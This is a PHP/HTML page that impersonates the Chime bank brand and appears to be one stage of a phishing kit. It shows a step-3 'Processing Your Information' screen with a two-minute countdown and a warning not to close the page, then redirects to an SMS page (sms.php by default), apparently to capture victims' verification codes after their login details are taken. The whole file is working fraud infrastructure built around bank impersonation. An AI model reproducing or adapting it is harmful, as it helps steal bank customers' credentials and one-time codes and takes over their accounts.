<?php

?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
    <title>Chime — Please Wait</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --bg:           #082719;
            --green:        #1ec677;
            --green-dark:   #0e5333;
            --green-hover:  #19b36b;
            --card-bg:      #0d3321;
            --card-border:  #1a4a30;
            --text:         #ffffff;
            --text-sub:     rgba(255,255,255,0.7);
            --text-muted:   rgba(255,255,255,0.45);
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--bg); color: var(--text); }
        .page { min-height: 100vh; display: flex; flex-direction: column; align-items: center; justify-content: center; padding: 40px 20px 0; }

        .top-logo { margin-bottom: 32px; }
        .top-logo img { height: 36px; width: auto; display: block; }

        .login-card { width: 100%; max-width: 420px; background: var(--card-bg); border: 1px solid var(--card-border); border-radius: 16px; padding: 40px 40px 36px; box-shadow: 0 24px 64px rgba(0,0,0,0.5); animation: cardIn 0.45s ease both; text-align: center; }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .step-indicator { display: flex; align-items: center; gap: 8px; margin-bottom: 32px; }
        .step { display: flex; align-items: center; justify-content: center; width: 24px; height: 24px; border-radius: 50%; font-size: 11px; font-weight: 600; flex-shrink: 0; }
        .step.done   { background: rgba(30,198,119,0.2); color: var(--green); }
        .step.active { background: var(--green); color: var(--green-dark); }
        .step.pending{ background: rgba(255,255,255,0.08); color: rgba(255,255,255,0.3); }
        .step-line      { flex: 1; height: 1px; background: var(--card-border); }
        .step-line.done { background: var(--green); opacity: 0.4; }

        .ring-wrap { position: relative; width: 116px; height: 116px; margin: 0 auto 28px; }
        .ring-wrap svg { width: 116px; height: 116px; transform: rotate(-90deg); }
        .ring-track { fill: none; stroke: rgba(255,255,255,0.1); stroke-width: 5; }
        .ring-progress { fill: none; stroke: var(--green); stroke-width: 5; stroke-linecap: round; stroke-dasharray: 326.7; stroke-dashoffset: 0; transition: stroke-dashoffset 1s linear; }
        .ring-label { position: absolute; inset: 0; display: flex; flex-direction: column; align-items: center; justify-content: center; }
        .ring-time { font-size: 26px; font-weight: 700; color: var(--text); line-height: 1; letter-spacing: -0.02em; }
        .ring-unit { font-size: 11px; color: var(--text-muted); margin-top: 4px; }

        .wait-heading { margin-bottom: 4px; }
        .wait-heading h1 { font-size: 20px; font-weight: 700; color: var(--text); margin-bottom: 8px; letter-spacing: -0.02em; }
        .wait-heading p { font-size: 14px; color: var(--text-sub); font-weight: 300; line-height: 1.7; max-width: 300px; margin: 0 auto; }

        .prog-dots { display: flex; justify-content: center; gap: 6px; margin: 22px 0; }
        .prog-dots span { width: 7px; height: 7px; border-radius: 50%; background: rgba(255,255,255,0.15); transition: background 0.4s; }
        .prog-dots span.lit { background: var(--green); }

        .info-notice { display: inline-flex; align-items: center; gap: 8px; background: rgba(30,198,119,0.08); border: 1px solid rgba(30,198,119,0.2); border-radius: 8px; padding: 10px 16px; font-size: 12.5px; color: var(--green); font-weight: 400; }

        .anim-strip { width: 100%; max-width: 420px; overflow: hidden; margin-top: 32px; mask-image: linear-gradient(to right, transparent 0%, black 10%, black 90%, transparent 100%); -webkit-mask-image: linear-gradient(to right, transparent 0%, black 10%, black 90%, transparent 100%); }
        .anim-track { display: flex; align-items: center; gap: 28px; animation: scrollLeft 18s linear infinite; width: max-content; }
        .anim-track img { height: 48px; width: auto; opacity: 0.9; flex-shrink: 0; }
        @keyframes scrollLeft { 0% { transform: translateX(0); } 100% { transform: translateX(-50%); } }

        .below-card { width: 100%; max-width: 420px; margin-top: 28px; padding-bottom: 48px; text-align: center; }
        .sms-notice { font-size: 12px; color: rgba(255,255,255,0.4); line-height: 1.6; margin-bottom: 18px; }
        .below-links { display: flex; flex-wrap: wrap; justify-content: center; gap: 6px 16px; margin-bottom: 18px; }
        .below-links a { font-size: 13px; color: rgba(255,255,255,0.55); text-decoration: none; transition: color 0.15s; }
        .below-links a:hover { color: var(--green); }
        .below-links span { color: rgba(255,255,255,0.2); font-size: 13px; }
        .copyright { font-size: 11px; color: rgba(255,255,255,0.25); line-height: 1.7; }

        @media (max-width: 480px) { .login-card { padding: 30px 24px 28px; border-radius: 12px; } }
    </style>
</head>
<body>
<div class="page">
    <div class="top-logo"><img src="res/img/Logo.png" alt="Chime"></div>
    <div class="login-card">
        <div class="step-indicator">
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step done">✓</div><div class="step-line done"></div>
            <div class="step active">3</div>
        </div>
        <div class="ring-wrap">
            <svg viewBox="0 0 110 110"><circle class="ring-track" cx="55" cy="55" r="52"/><circle class="ring-progress" id="rp" cx="55" cy="55" r="52"/></svg>
            <div class="ring-label"><div class="ring-time" id="td">2:00</div><div class="ring-unit">remaining</div></div>
        </div>
        <div class="wait-heading">
            <h1>Processing Your Information</h1>
            <p>Please wait up to 2 minutes while we securely process your request.</p>
        </div>
        <div class="prog-dots"><span id="d0"></span><span id="d1"></span><span id="d2"></span><span id="d3"></span><span id="d4"></span></div>
        <div class="info-notice"><svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>Do not close or refresh this page</div>
    </div>
    <div class="anim-strip">
        <div class="anim-track">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
            <img src="res/img/anim1.svg" alt=""><img src="res/img/anim2.svg" alt=""><img src="res/img/anim3.svg" alt="">
        </div>
    </div>
    <div class="below-card">
        <p class="sms-notice">By clicking "Sign in", you agree to receive SMS text messages from Chime to verify your identity</p>
        <div class="below-links">
            <a href="#">Forgot your email address?</a><span>·</span>
            <a href="#">Forgot your password?</a><span>·</span>
            <a href="#">Need to create an account? <strong>Sign up!</strong></a>
        </div>
        <p class="copyright">© 2026 Chime. All Rights Reserved.<br>Banking Services provided by The Bancorp Bank, N.A., or Stride Bank, N.A., Members FDIC. The Chime Visa® Debit Card is issued by The Bancorp Bank, N.A., or Stride Bank pursuant to a license from Visa U.S.A. Inc. and may be used everywhere Visa debit cards are accepted. Please see back of your Card for its issuing bank.</p>
    </div>
</div>
<script>
    var next = "<?php echo htmlspecialchars($_GET['next'] ?? 'sms.php', ENT_QUOTES); ?>";
    const TOTAL = 120; let rem = TOTAL;
    const disp = document.getElementById('td'), ring = document.getElementById('rp');
    const CIRC = 2 * Math.PI * 52;
    const dots = [0,1,2,3,4].map(i => document.getElementById('d' + i));
    function tick() {
        const m = Math.floor(rem / 60), s = rem % 60;
        disp.textContent = m + ':' + String(s).padStart(2, '0');
        ring.style.strokeDashoffset = CIRC * (1 - rem / TOTAL);
        const lit = Math.floor(((TOTAL - rem) / TOTAL) * dots.length);
        dots.forEach((d, i) => d.classList.toggle('lit', i <= lit));
        if (rem <= 0) { clearInterval(t); window.location = next; } else rem--;
    }
    tick(); const t = setInterval(tick, 1000);
</script>
</body>
</html>